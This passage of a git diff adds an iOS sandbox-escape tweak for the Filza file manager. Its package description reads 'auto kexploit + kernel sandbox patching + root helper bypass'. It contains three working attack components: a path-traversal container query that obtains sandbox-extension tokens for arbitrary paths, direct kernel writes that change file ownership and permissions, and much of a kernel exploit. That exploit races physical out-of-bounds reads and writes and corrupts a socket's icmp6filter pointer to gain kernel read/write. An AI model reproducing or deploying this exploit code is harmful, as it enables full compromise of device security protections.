(*skipped_lstat)++; return 0; } + if (S_ISLNK(st.st_mode)) return 0; + + long n = 0; + uint32_t before_uid = (uint32_t)-1; + int rc = apfs_own_unsafe(path, uid, gid, &before_uid); + if (rc == 0) { + n++; + // Log first few successful chowns (non-no-op) to prove writes work. + if (before_uid != uid && n <= 5) { + NSLog(@"[APFS] chown'd: %s (uid %u -> %u)", path, before_uid, uid); + } + } else { + (*skipped_chown)++; + if (*skipped_chown <= 5) { + NSLog(@"[APFS] skipped chown: %s (before=%u errno=%d)", + path, before_uid, errno); + } + } + + if (S_ISDIR(st.st_mode)) { + DIR *d = opendir(path); + if (!d) { + (*skipped_opendir)++; + if (*skipped_opendir <= 5) + NSLog(@"[APFS] skipped opendir: %s (errno=%d)", path, errno); + return n; + } + struct dirent *e; + while ((e = readdir(d)) != NULL) { + if (strcmp(e->d_name, ".") == 0 || strcmp(e->d_name, "..") == 0) continue; + if (is_skip_name(e->d_name)) continue; + char child[PATH_MAX]; + int len = snprintf(child, sizeof(child), "%s/%s", path, e->d_name); + if (len <= 0 || len >= (int)sizeof(child)) continue; + n += chown_walk(child, uid, gid, depth + 1, + skipped_lstat, skipped_chown, skipped_opendir); + } + closedir(d); + } + return n; +} + +long apfs_own_tree(const char *root, uid_t uid, gid_t gid) { + NSLog(@"[APFS] own_tree: walking %s -> uid=%u gid=%u", root, uid, gid); + long skipped_lstat = 0, skipped_chown = 0, skipped_opendir = 0; + long n = chown_walk(root, uid, gid, 0, + &skipped_lstat, &skipped_chown, &skipped_opendir); + sync(); sync(); sync(); + NSLog(@"[APFS] own_tree: chown'd %ld entries under %s " + "(skipped: lstat=%ld chown=%ld opendir=%ld)", + n, root, skipped_lstat, skipped_chown, skipped_opendir); + return n; +} + +int apfs_mod(const char *path, mode_t mode) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) { + NSLog(@"[APFS] mod: unable to get fs_node: %s", path); + return -1; + } + + struct stat st_before; + if (stat(path, &st_before) == 0) { + uint16_t kmode = kread16(fs_node + offsetof(struct apfs_fsnode, mode)); + if (kmode != (st_before.st_mode & 0xFFFF)) { + NSLog(@"[APFS] mod: layout mismatch for %s (stat mode=0%o, kernel=0%o); aborting", + path, st_before.st_mode & 0xFFFF, kmode); + return -1; + } + } + + kwrite16(fs_node + offsetof(struct apfs_fsnode, mode), (uint16_t)mode); + + sync(); sync(); sync(); + + struct stat st; + if (stat(path, &st) != 0) return -1; + if ((st.st_mode & 0xFFFF) != (mode & 0xFFFF)) { + NSLog(@"[APFS] mod: verify failed (got 0%o, expected 0%o): %s", + st.st_mode & 0xFFFF, mode, path); + return -1; + } + + NSLog(@"[APFS] mod: %s -> 0%o", path, mode); + return 0; +} diff --git a/base/README.md b/base/README.md new file mode 100644 index 0000000..aa2063d --- /dev/null +++ b/base/README.md @@ -0,0 +1,18 @@ +# Base IPA + +Place the unsigned Filza 4.0 IPA here before building: + +``` +base/FilzaSlop-v1.2.0-unsigned.ipa +``` + +The build scripts inject `FilzaApplySandboxExt.dylib`, patch the bundle ID and +package the app. The base IPA is not committed because it contains Filza's +original application payload. You can set `BASE_IPA` to any compatible +unsigned Filza IPA instead. + +The developer build also needs an a-Shell IPA for its command frameworks: + +``` +ASHELL_IPA=$HOME/Downloads/Terminal.ipa +``` diff --git a/compat/sys/fileport.h b/compat/sys/fileport.h new file mode 100644 index 0000000..0e4307e --- /dev/null +++ b/compat/sys/fileport.h @@ -0,0 +1,20 @@ +#ifndef FILZA_COMPAT_SYS_FILEPORT_H +#define FILZA_COMPAT_SYS_FILEPORT_H + +#include +#include + +__BEGIN_DECLS + +#ifndef _FILEPORT_T +#define _FILEPORT_T +typedef __darwin_mach_port_t fileport_t; +#define FILEPORT_NULL ((fileport_t)0) +#endif + +int fileport_makeport(int descriptor, fileport_t *port); +int fileport_makefd(fileport_t port); + +__END_DECLS + +#endif diff --git a/control b/control new file mode 100644 index 0000000..05b54ad --- /dev/null +++ b/control @@ -0,0 +1,8 @@ +Package: com.local.filzaescaped +Name: FilzaApplySandboxExt +Version: 2.0.0 +Architecture: iphoneos-arm64 +Description: Filza sandbox escape - auto kexploit + kernel sandbox patching + root helper bypass + zip hooks +Maintainer: local +Author: local +Section: Tweaks diff --git a/fallback_query.h b/fallback_query.h new file mode 100644 index 0000000..f3048af --- /dev/null +++ b/fallback_query.h @@ -0,0 +1,24 @@ +// +// fallback_query.h +// FileQuest +// +// A second container-query primitive used only when worse_query fails. +// The technique is derived from the access path used by Veilpath +// (https://github.com/everettjf/veilpath), which in turn builds on +// forcequitOS/bad_query. This file is part of a GPL-3.0 derivative of +// worse_query and is distributed under the same license. +// + +#ifndef fallback_query_h +#define fallback_query_h + +#import +#include +#include + +/// Anchor the Container Manager query at the system mobilegestaltcache group, +/// set a traversal part domain, and consume the resulting extension. This is +/// intentionally a fallback: worse_query remains the primary engine. +int64_t fallback_query(NSString *target, bool alt_flags); + +#endif /* fallback_query_h */ diff --git a/fallback_query.m b/fallback_query.m new file mode 100644 index 0000000..fcadca5 --- /dev/null +++ b/fallback_query.m @@ -0,0 +1,120 @@ +// +// fallback_query.m +// FileQuest +// +// Fallback container-query access path for iOS 26.x and 27.x. The technique +// follows the part-domain traversal approach used by Veilpath +// (https://github.com/everettjf/veilpath) and bad_query +// (https://github.com/forcequitOS/bad_query). +// +// This program is free software: you can redistribute it and/or modify it +// under the terms of the GNU General Public License as published by the Free +// Software Foundation, either version 3 of the License, or (at your option) +// any later version. +// + +#import "fallback_query.h" + +#include +#include +#include +#include +#include +#include + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void (*container_query_set_part_domain_fn)(void *, const char *); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); + +int64_t fallback_query(NSString *target, bool alt_flags) { + if (target.length == 0 || ![target hasPrefix: @"/"]) return -255; + + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; + + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -1; + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + if (!query_create || !query_set_class || !query_set_group_identifiers || + !query_set_flags || !query_set_part || !query_set_part_domain || + !query_get_single_result || !query_free || !copy_sandbox_token || + !consume_extension) { + dlclose(mgr); + return -1; + } + + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -2; + } + + xpc_object_t identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); + if (!identifier) { + query_free(query); + dlclose(mgr); + return -5; + } + + query_set_class(query, 13); + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); + + // The anchor container's Library/Caches is several levels below the data + // volume root. Climb out of it, then append the absolute target path. + const char *prefix = "../../../../../../../.."; + char *part = NULL; + if (asprintf(&part, "%s%s", prefix, target.fileSystemRepresentation) == -1) { + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return -5; + } + + query_set_part_domain(query, part); + query_set_flags(query, alt_flags ? 0x0000000800000000ULL : 0x0000008000000000ULL); + + void *result = query_get_single_result(query); + if (!result) { + free(part); + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return -3; + } + + char *token = copy_sandbox_token(result); + if (!token) { + free(part); + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return -4; + } + + int64_t handle = consume_extension(token); + free(token); + free(part); + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return handle; +} diff --git a/kexploit/kexploit_opa334.h b/kexploit/kexploit_opa334.h new file mode 100644 index 0000000..c9f377f --- /dev/null +++ b/kexploit/kexploit_opa334.h @@ -0,0 +1,17 @@ +#import +#import +#import +#import + +#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) +#define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) +#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) +#define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) +#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) + +#define EARLY_KRW_LENGTH 0x20 +int kexploit_opa334(void); +uint64_t early_kread64(uint64_t where); +void early_kwrite64(uint64_t where, uint64_t what); +void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]); +void early_kread(uint64_t where, void *read_buf, size_t size); diff --git a/kexploit/kexploit_opa334.m b/kexploit/kexploit_opa334.m new file mode 100644 index 0000000..93f068b --- /dev/null +++ b/kexploit/kexploit_opa334.m @@ -0,0 +1,980 @@ +#import +#import +#import +#import +#import +#import +#import +#import +#define IPPROTO_ICMPV6 58 +#define ICMP6_FILTER 18 +#import +#import +#import +#import +#import + +#import "offsets.h" +#import "krw.h" +#import "kexploit_opa334.h" + +extern bool gIsPACSupported; + +extern bool gIsA18Above; + +void IOSurfacePrefetchPages(IOSurfaceRef surface); + +#define FAILURE(c) \ + { \ + fflush(stdout); \ + sleep(2); \ + exit(c); \ + } +#define PRINT_VAR(var) \ + { \ + printf(#var ": %#llx\n", var); \ + fflush(stdout); \ + sleep(2); \ + } + +#define OOB_OFFSET 0x100 +#define OOB_SIZE 0xf00 +#define OOB_PAGES_NUM 2 + +// xnu-11417.140.69/bsd/sys/proc_info.h +#define PROC_PIDFILEPORTSOCKETINFO 3 /* out: socket_fdinfo */ + +// xnu-11417.140.69/bsd/sys/proc_info_private.h +#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6 + +#ifdef __arm64e__ +static uint64_t __attribute((naked)) __xpaci(uint64_t a) { + asm(".long 0xDAC143E0"); // XPACI X0 + asm("ret"); +} +#else +#define __xpaci(x) x +#endif + +void memset64(void *ptr, uint64_t val, size_t size) { + uint8_t *ptr8 = ptr; + for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) { + uint64_t *ptr64 = (uint64_t *)&ptr8[idx]; + *ptr64 = val; + } +} + +int readFd; +int writeFd; +kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, + mach_vm_size_t size, mach_vm_offset_t mask, int flags, + mem_entry_name_port_t object, + memory_object_offset_t offset, boolean_t copy, + vm_prot_t cur_protection, vm_prot_t max_protection, + vm_inherit_t inheritance); +kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, + mach_vm_size_t size, int flags); +kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, + mach_vm_size_t size); + +int highestSuccessIdx = 0; +int successReadCount = 0; +struct iovec iov; +uint64_t randomMarker; +uint64_t wiredPageMarker; +mach_port_t pcObject = MACH_PORT_NULL; +mach_vm_address_t pcAddress = 0; +mach_vm_size_t pcSize; + +NSMutableArray *socketPorts; +NSMutableArray *socketPcbIds; +#define GETSOCKOPT_READ_LEN 32 +void *getsockoptReadData = NULL; + +volatile uint8_t goSync = 0; +volatile uint8_t raceSync = 0; +volatile uint8_t freeThreadStart = 0; +volatile mach_vm_address_t freeTarget = 0; +volatile mach_vm_size_t freeTargetSize = 0; +volatile mem_entry_name_port_t targetObject = 0; +volatile memory_object_offset_t targetObjectOffset = 0; + +NSMutableDictionary *gMlockDict; + +int controlSocket = 0; +int rwSocket = 0; +uint64_t controlSocketPcb = 0; +uint64_t rwSocketPcb = 0; +uint8_t controlData[EARLY_KRW_LENGTH]; + +void setTargetKaddr(uint64_t where) { + memset(controlData, 0, EARLY_KRW_LENGTH); + *(uint64_t *)controlData = where; + int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, + controlData, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!\n"); + FAILURE(0); + } +} + +#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2) +void *default_file_content; +char executablePath[PATH_MAX]; +const char *executableName; + +pthread_t freeThread; + +void init_globals(void) { + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN); + gMlockDict = [NSMutableDictionary new]; + default_file_content = calloc(1, TARGET_FILE_SIZE); + randomMarker = (uint64_t)arc4random() << 32 | arc4random(); + wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random(); +} + +void create_target_file(const char *path) { + FILE *f = fopen(path, "w"); + fwrite(default_file_content, 1, TARGET_FILE_SIZE, f); + fclose(f); +} + +void init_target_file() { + char *read_file_path = calloc(1, 1024); + char *write_file_path = calloc(1, 1024); + confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024); + confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024); + + char read_file_name[100]; + char write_file_name[100]; + snprintf(read_file_name, 100, "/%u", arc4random()); + snprintf(write_file_name, 100, "/%u", arc4random()); + + strcat(read_file_path, read_file_name); + strcat(write_file_path, write_file_name); + + create_target_file(read_file_path); + create_target_file(write_file_path); + + readFd = open(read_file_path, O_RDWR); + writeFd = open(write_file_path, O_RDWR); + + printf("[+] readFd: %d\n", readFd); + printf("[+] writeFd: %d\n", writeFd); + + remove(read_file_path); + remove(write_file_path); + fcntl(readFd, F_NOCACHE, 1); + fcntl(writeFd, F_NOCACHE, 1); +} + +void *free_thread(void *arg) { + while (freeThreadStart == 0) + ; + + while (goSync == 0) + ; + + while (goSync != 0) { + while (raceSync == 0) + ; + + kern_return_t kr = + mach_vm_map(mach_task_self(), &freeTarget, freeTargetSize, 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, targetObject, + targetObjectOffset, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, + VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed !!!\n"); + printf("[+] freeTarget: %#llx\n", freeTarget); + printf("[+] targetObject: %#x\n", targetObject); + FAILURE(0); + } + + raceSync = 0; + } + + return NULL; +} + +fileport_t spray_socket(NSMutableArray *socketPorts, + NSMutableArray *socketPcbIds) { + pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0); + + int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6); + if (fd == -1) { + printf("[-] socket create failed!!!"); + return fd; + } + pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0); + + fileport_t outputSocketPort = 0; + fileport_makeport(fd, &outputSocketPort); + close(fd); + + void *socketInfo = calloc(1, 0x400); + int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, 0x400); + uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110); + + [socketPorts addObject:@(outputSocketPort)]; + [socketPcbIds addObject:@(inp_gencnt)]; + return outputSocketPort; +} + +void sockets_release(NSMutableArray *socketPorts, + NSMutableArray *socketPcbIds) { + while (socketPorts.lastObject) { + mach_port_deallocate( + mach_task_self(), + ((NSNumber *)socketPorts.lastObject).unsignedIntValue); + [socketPorts removeLastObject]; + [socketPcbIds removeLastObject]; + } +} + +IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) { + IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{ + @"IOSurfaceAddress" : @(address), + @"IOSurfaceAllocSize" : @(size) + }); + + IOSurfacePrefetchPages(surface); + + return surface; +} + +void surface_mlock(uint64_t address, uint64_t size) { + gMlockDict[@(address)] = + (__bridge id)create_surface_with_address(address, size); +} + +void surface_munlock(uint64_t address, uint64_t size) { + IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)]; + if (ref) { + CFRelease(ref); + [gMlockDict removeObjectForKey:@(address)]; + } +} + +void pe_init(void) { + init_target_file(); + + if (!executableName) { + uint32_t sz = PATH_MAX; + _NSGetExecutablePath(executablePath, &sz); + executableName = strrchr(executablePath, '/'); + if (executableName) { + executableName++; + } else { + executableName = executablePath; + } + } + + pthread_attr_t pattr; + pthread_attr_init(&pattr); + pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0); + pthread_create(&freeThread, &pattr, free_thread, NULL); +} + +void create_physically_contiguous_mapping(mach_port_t *port, + mach_vm_address_t *address, + mach_vm_size_t size) { + NSDictionary *params = @{ + (__bridge id)kIOSurfaceAllocSize : @(size), + @"IOSurfaceMemoryRegion" : @"PurpleGfxMem", + }; + + IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params); + + if (!surface) { + printf("[-] Failed to create surface!!!\n"); + FAILURE(0); + } + + void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface); + printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress); + + mach_port_t memoryObject; + kern_return_t kr = mach_make_memory_entry_64( + mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress, + VM_PROT_DEFAULT, &memoryObject, 0); + if (!surface) { + printf("[-] mach_make_memory_entry_64 failed!!!\n"); + FAILURE(0); + } + + mach_vm_address_t newMappingAddress; + kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0, + VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0, + 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed!!!\n"); + FAILURE(0); + } + + CFRelease(surface); + *port = memoryObject; + *address = newMappingAddress; +} + +void initialize_physical_read_write(uint64_t contiguous_mapping_size) { + pcSize = contiguous_mapping_size; + create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize); + printf("[+] pcObject: %u\n", pcObject); + printf("[+] pcAddress: %#llx\n", pcAddress); + memset64((void *)pcAddress, randomMarker, pcSize); + freeTarget = pcAddress, freeTargetSize = pcSize; + freeThreadStart = 1; + goSync = 1; +} + +kern_return_t physical_oob_read_mo(mach_port_t memoryObject, + mach_vm_offset_t memoryObjectOffset, + mach_vm_size_t size, mach_vm_offset_t offset, + void *buffer) { + targetObject = memoryObject; + targetObjectOffset = memoryObjectOffset; + iov.iov_base = (void *)(pcAddress + 0x3f00); + iov.iov_len = offset + size; + *(uint64_t *)buffer = randomMarker; + *(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker; + + bool readRaceSucceeded = false; + int w = 0; + for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) { + raceSync = 1; + w = pwritev(readFd, &iov, 1, 0x3f00); + while (raceSync == 1) + ; + + kern_return_t kr = + mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0, + VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + printf("[+] mach_vm_map failed!!!\n"); + FAILURE(0); + } + if (w == -1) { + int r = pread(readFd, buffer, size, 0x3f00 + offset); + uint64_t marker = *(uint64_t *)buffer; + if (marker != randomMarker) { + readRaceSucceeded = true; + successReadCount++; + if (tryIdx > highestSuccessIdx) { + highestSuccessIdx = tryIdx; + } + break; + } else { + usleep(1); + } + } + if (tryIdx == 500) { + break; + } + } + targetObject = 0; + if (!readRaceSucceeded) + return 1; + return KERN_SUCCESS; +} + +kern_return_t physical_oob_read_mo_with_retry( + mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, + mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) { + kern_return_t kr; + do { + kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size, + offset, buffer); + } while (kr != KERN_SUCCESS); + return kr; +} + +void physical_oob_write_mo(mach_port_t memoryObject, + mach_vm_offset_t memoryObjectOffset, + mach_vm_size_t size, mach_vm_offset_t offset, + void *buffer) { + targetObject = memoryObject; + targetObjectOffset = memoryObjectOffset; + iov.iov_base = (void *)(pcAddress + 0x3f00); + iov.iov_len = offset + size; + + pwrite(writeFd, buffer, size, 0x3f00 + offset); + for (int tryIdx = 0; tryIdx < 20; tryIdx++) { + raceSync = 1; + preadv(writeFd, &iov, 1, 0x3f00); + while (raceSync == 1) + ; + kern_return_t kr = + mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0, + VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed!!!\n"); + FAILURE(0); + } + } + targetObject = 0; +} + +void set_target_kaddr(uint64_t where) { + memset(controlData, 0, EARLY_KRW_LENGTH); + *(uint64_t *)controlData = where; + int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, + controlData, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!"); + FAILURE(0); + } +} + +void early_kread(uint64_t where, void *read_buf, size_t size) { + if(!is_kaddr_valid(where)) { + printf("[%s:%d] kaddr isn't valid, spinning here. kaddr: 0x%llx\n", __FUNCTION__, __LINE__, where); + + void *bt[64]; int n = backtrace(bt, 64); + char **s = backtrace_symbols(bt, n); + for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]); + free(s); + + *(int *)1 = 0; // make crash intentionally + } + + if (size > EARLY_KRW_LENGTH) { + printf("[!] error: (size > EARLY_KRW_LENGTH)\n"); + FAILURE(0); + } + set_target_kaddr(where); + socklen_t read_data_length = (socklen_t)size; + int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length); + if (res != 0) { + printf("[-] getsockopt failed!!!\n"); + + void *bt[64]; int n = backtrace(bt, 64); + char **s = backtrace_symbols(bt, n); + for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]); + free(s); + + *(int *)1 = 0; // make crash intentionally + FAILURE(0); + } +} + +uint64_t early_kread64(uint64_t where) { + uint64_t value = 0; + early_kread(where, &value, sizeof(value)); + return value; +} + +void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) { + set_target_kaddr(where); + int res = setsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!"); + FAILURE(0); + } +} + +void early_kwrite64(uint64_t where, uint64_t what) { + uint8_t writeBuf[EARLY_KRW_LENGTH]; + early_kread(where, writeBuf, EARLY_KRW_LENGTH); + *(uint64_t *)writeBuf = what; + early_kwrite32bytes(where, writeBuf); +} + +int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) { + if (doRead) { + physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + } + + int searchStartIdx = 0; + bool targetFound = false; + uint64_t pcbStartOffset = 0; + void *found = NULL; + do { + found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName)); + if (found) { + pcbStartOffset = + ((uint64_t)found - (uint64_t)readBuffer) & 0xFFFFFFFFFFFFFC00; + if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) == 0x0000ffffffffffffULL) { + targetFound = true; + break; + } + } + searchStartIdx += 0x400; + } while (found != NULL && searchStartIdx < OOB_SIZE); + + if (targetFound) { + printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset); + uint64_t targetInpGencnt = + *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78); + printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt); + if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) { + printf("[-] Found last PCB\n"); + return -1; + } + bool isOurPcd = false; + int controlSocketIdx = 0; + for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) { + if (socketPcbIds[sockIdx].unsignedLongLongValue == + targetInpGencnt) { + isOurPcd = true; + controlSocketIdx = sockIdx; + break; + } + } + if (!isOurPcd) { + printf("[-] Found freed PCB Page!\n"); + return -1; + } + if ([targetInpGencntList containsObject:@(targetInpGencnt)]) { + printf("[-] Found old PCB Page!!!!\n"); + return -1; + } else { + [targetInpGencntList addObject:@(targetInpGencnt)]; + } + uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20; + uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt); + printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer); + printf("[+] icmp6Filter: %#llx\n", icmp6Filter); + rwSocketPcb = inpListNextPointer; + memcpy(writeBuffer, readBuffer, OOB_SIZE); + *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt) = inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt; + *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) = 0; + + // breakpoint: if you can get here without panic (not 100% successful), + // at least it proves that OOB physical readings are working. + // access to physmap does not appear to be protected by MTE (xnu source). + printf("[*] MTE checkpoint: OOB physical read/write reached without panic\n"); + NSLog(@"[*] MTE checkpoint: OOB physical read/write reached without panic"); + + printf("[+] Corrupting icmp6filter pointer...\n"); + while (true) { + physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer); + physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + uint64_t newIcmp6Filter = + *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt); + if (newIcmp6Filter == + inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt) { + printf("[+] target corrupted: %#llx\n", + *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt)); + break; + } + } + int sock = fileport_makefd( + (fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue); + socklen_t len = GETSOCKOPT_READ_LEN; + int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, + getsockoptReadData, &len); + if (res != 0) { + printf("[-] getsockopt failed!!!\n"); + + void *bt[64]; int n = backtrace(bt, 64); + char **s = backtrace_symbols(bt, n); + for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]); + free(s); + + *(int *)1 = 0; // make crash intentionally + FAILURE(0); + } + uint64_t marker = *(uint64_t *)getsockoptReadData; + if (marker != -1) { + printf("[+] Found control_socket at idx: %u\n", controlSocketIdx); + controlSocket = sock; + rwSocket = + fileport_makefd((fileport_t)socketPorts[controlSocketIdx + 1] + .unsignedLongLongValue); + return KERN_SUCCESS; + } else { + printf("[-] Failed to corrupt control_socket at idx: %u\n", + controlSocketIdx); + } + } + return -1; +} + +bool isA18Device = false; + +void pe_v1(void) { + uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10); + uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE); + uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE; + uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize; + + printf("[i] totalSearchMappingPagesNum: %#llx\n", + totalSearchMappingPagesNum); + printf("[i] searchMappingSize: %#llx\n", searchMappingSize); + printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize); + printf("[i] searchMappingNum: %#llx\n", searchMappingNum); + + void *readBuffer = calloc(1, OOB_SIZE); + void *writeBuffer = calloc(1, OOB_SIZE); + initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE); + mach_vm_address_t wiredMapping = 0; + mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL; + kern_return_t kr = KERN_SUCCESS; + if (isA18Device) { + kr = mach_vm_allocate(mach_task_self(), 